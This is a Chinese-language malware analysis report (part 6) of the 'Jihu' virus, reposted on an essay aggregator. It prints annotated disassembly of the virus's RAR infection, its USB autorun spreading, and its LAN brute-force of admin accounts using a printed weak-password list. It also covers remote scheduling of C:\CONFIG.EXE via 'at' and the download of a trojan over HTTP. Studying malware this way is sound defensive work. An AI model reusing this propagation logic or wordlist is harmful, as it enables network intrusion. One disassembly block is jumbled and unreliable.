极虎病毒分析报告(6)

.text:00405F0E push 3 ; dwShareMode .text:00405F10 push 0C0000000h ; dwDesiredAccess .text:00405F15 lea eax, [ebp+FileName]

.text:00405F1B push eax ; lpFileName

.text:00405F1C call ds:CreateFileA ; 创建文件句柄，准备将感染后的rar文件设置成原来的时间.text:00405F22 mov [ebp+hFile], eax .text:00405F28 push 1 ; int .text:00405F2A lea eax, [ebp+CreationTime]

.text:00405F30 push eax ; lpCreationTime .text:00405F31 push [ebp+hFile] ; hFile

.text:00405F37 call FileOldTime ; 将被感染后的RAR文件设置成原来的时间

下面是感染磁盘的过程，过程为搜索磁盘并判断类型，如果是可移动磁盘则获得系统内的盘符，查找可移动存储，并把自身复制到这个盘下面的

recycle.{645FF040-5081-101B-9F08-00AA002F954E}\\setup.exe，并创建autorun.inf文件，过程如下：

.text:00408B08 push eax

.text:00408B09 call [ebp+GetDriveTypeA] .text:00408B0C cmp eax, 2

.text:00408B0F jnz short GoOutGetNext ; 非可移动磁盘，跳走 .text:00408B11 lea eax, [ebp+var_18] .text:00408B14 push eax

.text:00408B15 call FautorunWR ; 在磁盘上创建autorunini

.text:0040870E push offset aSetup_exe ; \.text:00408713 lea eax, [ebp+PathName] .text:00408719 push eax

.text:0040871A push offset aSS ; \.text:0040871F lea eax, [ebp+FileName]

.text:00408725 push eax ; LPSTR

.text:00408726 call ds:wsprintfA ; 构建recycle.{645FF040-5081-101B-9F08-00AA002F954E}\\setup.exe路径

.text:00408836 push 1 ; dwFlags .text:00408838 lea eax, [ebp+NewFileName]

.text:0040883E push eax ; lpNewFileName .text:0040883F lea eax, [ebp+pszPath]

.text:00408845 push eax ; lpExistingFileName .text:00408846 call ds:MoveFileExA ; 将自身复制过去

该病毒通过局域网传播，使用用户名Administrator Guest Admin Root 用户密码：

234.password.6969.harley.123456.golf.pussy.mustang.

1111.shadow.1313.fish.5150.7777.qwerty.baseball.2112.letmein.

12345678.12345.ccc.admin.5201314.qq520.1.12.123.1234567. 123456789.654321.54321.111.000000.abc.pw.11111111. 88888888.pass.passwd.database.abcd.abc123.pass.sybase. 123qwe.server.computer.520.super.123asd.0.ihavenopass. godblessyou.enable.xp.2002.2003.2600.alpha.110.111111. 121212.123123.1234qwer.

123abc.007.a.aaa.patrick.pat.administrator.root.sex.god.

fuckyou.fuck.abc.test.test123.temp.temp123.win.pc.asdf.pwd. qwer.yxcv.zxcv.home.xxx.owner.login.Login.pw123.love.mypc. mypc123.admin123.mypass.mypass123.901100.

下面是攻击局域网用户

.text:004083F1 mov [ebp+lpUserName], offset UserName_0 ; 取第一个用户名

.text:004083F8 UserNext:

.text:004083F8 mov eax, [ebp+lpUserName] .text:004083FB movsx eax, byte ptr [eax] .text:004083FE test eax, eax .text:00408400 jz loc_408492 .text:00408406 cmp [ebp+var_4], 0 .text:0040840A jnz loc_408492

.text:00408410 mov [ebp+var_54], 1

.text:00408417 mov [ebp+lpPassword], offset UserPassword ; 取第一个密码

PassWordNext:

.text:0040841E mov eax, [ebp+lpPassword] .text:00408421 movsx eax, byte ptr [eax] .text:00408424 test eax, eax

.text:00408426 jz short GetNextUserName .text:00408428 cmp [ebp+var_54], 1 .text:0040842C jnz short SendVirToNet

.text:0040842E mov [ebp+lpPassword], offset UserName .text:00408435 SendVirToNet: ; CODE XREF: .text:00408435 push [ebp+lpPassword] ; lpPassword .text:00408438 push [ebp+lpUserName] ; lpUserName .text:0040843B lea eax, [ebp+String1]

.text:0040843E push eax ; int

.text:0040843F call SendVirNet ; 上传病毒到局域网电脑上设置3分钟后运行

.text:00408444 cmp eax, 1

.text:00408447 jnz short loc_408452 .text:00408449 mov [ebp+var_4], 1

.text:00408450 jmp short GetNextUserName

.text:00408452 loc_408452: ; CODE XREF: .text:00408452 cmp [ebp+var_54], 1

.text:00408456 jnz short loc_408465

.text:00408458 mov [ebp+lpPassword], offset UserPassword .text:0040845F and [ebp+var_54], 0

.text:00408463 jmp short GoNextPassWord ; 跳回接着比较 .text:00408465 loc_408465: ; CODE XREF: .text:00408465 push [ebp+lpPassword] ; lpString .text:00408468 call ds:lstrlenA

.text:0040846E mov ecx, [ebp+lpPassword] .text:00408471 lea eax, [ecx+eax+1]

.text:00408475 mov [ebp+lpPassword], eax ; 取下一个密码 .text:00408478 GoNextPassWord: ; CODE XREF: .text:00408478 jmp short PassWordNext ; 跳回接着比较 .text:0040847A GetNextUserName: ; CODE XREF: .text:0040847A push [ebp+lpUserName] ; lpString .text:0040847D call ds:lstrlenA

.text:00408483 mov ecx, [ebp+lpUserName] .text:00408486 lea eax, [ecx+eax+1]

.text:0040848A mov [ebp+lpUserName], eax ; 取下一个用户名 .text:0040848D jmp UserNext

上传的时首先构建at命了，设置上传成功后三分钟运行，上传位置到C：\\CONFIG.EXE .text:00408354 push offset aConfig ; \

.text:00408359 movzx eax, [ebp+SystemTime.wMinute] .text:00408360 add eax, 3 .text:00408363 push eax

.text:00408364 movzx eax, [ebp+SystemTime.wHour] .text:0040836B push eax

.text:0040836C push [ebp+arg_0]

.text:0040836F push offset aAtSDDCS_exe ; \\\\\\\\\%s %d:%d C:\\\\%s.exe\

.text:00408374 lea eax, [ebp+CmdLine]

.text:0040837A push eax ; 设置at命令 .text:0040837B call [ebp+var_24] .text:0040837E add esp, 18h

.text:00408381 push 0 ; uCmdShow .text:00408383 lea eax, [ebp+CmdLine]

.text:00408389 push eax ; lpCmdLine .text:0040838A call ds:WinExec ; 运行at命令.. .text:00408397 push [ebp+hObject] ; hObject .text:0040839A call ds:CloseHandle

.text:004083A0 loc_4083A0: ; CODE XREF: .text:004083A0 push 1 ; fForce .text:004083A2 push 1 ; dwFlags .text:004083A4 lea eax, [ebp+Name]

.text:004083A7 push eax ; lpName .text:004083A8 call WNetCancelConnection2A ;

下面是下载木马的过程 .text:00402DAC GetNextIP:

.text:00402DAC xor eax, eax .text:00402DAE inc eax

.text:00402DAF .text:00402DB5 .text:00402DB7 .text:00402DB9 .text:00402DBF .text:00402DC0 .text:00402DC5 .text:00402DC8 .text:00402DCA .text:00402DCC .text:00402DD2 .text:00402DD3 .text:00402DD6 .text:00402DD9 .text:00402DDE .text:00402DE0 马

.text:00402DE2 .text:00402DE6 .text:00402DE8 SucessGetAdd:

.text:00402DE8 .text:00402DED .text:00402DEF .text:00402DF5 .text:00402DF6 .text:00402DFB .text:00402DFE .text:00402E01 .text:00402E07 .text:00402E0D .text:00402E0E .text:00402E13 .text:00402E19 .text:00402E1A .text:00402E20 jz FailReturn

push 40h ; size_t push 0 ; int lea eax, [ebp+String2]

push eax ; void * call memset add esp, 0Ch

push 0 ; int

push 40h ; dwAddressStringLength lea eax, [ebp+String2]

push eax ; lpString2 push [ebp+arg_8] ; int push [ebp+var_4] ; int

call GetAddrInfo ; 获取地址信息 test eax, eax

jnz short SucessGetAdd ; 获取地址信息成功跳走下载木and [ebp+var_8], 0

jmp short FailReturn ; 获取地址信息失败跳走 push 400h ; size_t push 0 ; int lea eax, [ebp+var_410]

push eax ; void * call memset add esp, 0Ch push [ebp+arg_4]

push dword_40BE64 ; 1F90h lea eax, [ebp+String2] push eax

push offset aHttpSDS ; \lea eax, [ebp+var_410]

push eax ; LPSTR

call ds:wsprintfA ; 构造木马路径 add esp, 14h

.text:00402E23 push [ebp+lpFileName] ; lpFileName .text:00402E26 call ds:DeleteFileA

.text:00402E2C push [ebp+lpFileName] ; lpFileName .text:00402E2F lea eax, [ebp+var_410] .text:00402E35 push eax ; int

.text:00402E36 call ReadInternetFile ; 从网上读取数据 .text:00402E3B cmp eax, 1

.text:00402E3E jnz short SucessRead ; 读取成功通过这里跳回接着读取 .text:00402E40 mov [ebp+var_8], 1 .text:00402E47 jmp short FailReturn .text:00402E49 SucessRead: .text:00402E49 jmp GetNextIP

版权所有：《屋子团队》 => 《入侵赌博网站第一篇》 本文地址：http://www.ruqindubo.com/post-3.html

除非注明，文章均为 《屋子团队》 原创，欢迎转载！转载请注明本文地址，谢谢。

百度搜索“77cn”或“免费范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读，免费范文网，提供经典小说综合文库极虎病毒分析报告(6)在线全文阅读。